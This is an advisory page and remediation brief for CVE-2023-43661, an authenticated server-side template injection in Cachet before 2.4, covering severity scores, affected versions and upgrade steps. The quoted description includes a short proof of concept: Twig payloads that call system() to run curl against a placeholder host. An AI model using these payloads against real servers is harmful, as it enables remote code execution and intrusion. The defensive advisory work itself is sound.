Cachet vulnerable to Authenticated Remote Code Execution

Exploitation

No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.

CVSS

9.1 · CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

EPSS

• CVE-2023-43661: 51.91% estimated exploitation activity in the next 30 days; percentile 98.95 (FIRST EPSS, 2026-11-03). This is a model estimate, not proof of exploitation or customer exposure.

As published by the source; long descriptions are shortened.

Summary A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within /cachet/app/Http/Routes/ApiRoutes.php, and attacker could control template input which is passed to laravel's dispatched handler /cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution. This vulnerability does not exist within the Twig library itself, but exists during the process of the Cachet processing of the data without any filtration. This has been patched in Cachet version 2.4. PoC 1. Log in as a default user (non-admin); 2. Create an incident with name slug1 and with content: {{ ['curl yourhost.com','']|sort('system') }} or with any other content for Remote code execution via the Twig, for instance: {{[0]|reduce('system','curl…

Published by the source

16 Oct 2023, 14:20 UTC

Last modified by the source

5 Nov 2023, 05:01 UTC

Source last checked

26 Oct 2026, 14:10 UTC

1. Revision 1 · created · 26 Oct 2026

   Published from ghsa record GHSA-hv79-p62r-wg3p

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# Patch Next advisory brief: CVE-2023-43661

Advisory: Cachet vulnerable to Authenticated Remote Code Execution
IDs: CVE-2023-43661, GHSA-hv79-p62r-wg3p
Record: https://patchnext.com/advisories/cve-2023-43661 (revision 1, source checked 26 Oct 2026, 14:10 UTC)
Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected.
Severity: Critical (CVSS 9.1)
Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV.
Vendor response: Vendor fix available; fixed versions by package: cachethq/cachet 2.4. A vendor fix does not mean a deployment is fixed.

## Affected components
- Packagist cachethq/cachet: affected < 2.4; fixed in 2.4

## Suggested inspection (read-only)
- Packagist cachethq/cachet: check the installed version with your package manager.

## Supported action
Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version.

## Required regression checks
- Run the test suite and a production build.
- Exercise the features that depend on cachethq/cachet.
- Repeat the inspection and confirm that only fixed versions remain installed.

## Rollback considerations
- Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward.

## Unresolved questions
- Which deployments run an affected version?
- Exploitation status can change. Check again before lowering the priority.
- Mark the work resolved only after the fixed version is verified in production.

## Sources
- Verified: https://github.com/advisories/GHSA-hv79-p62r-wg3p (GitHub-reviewed advisory GHSA-hv79-p62r-wg3p lists affected ranges: Packagist cachethq/cachet >=0 <2.4)

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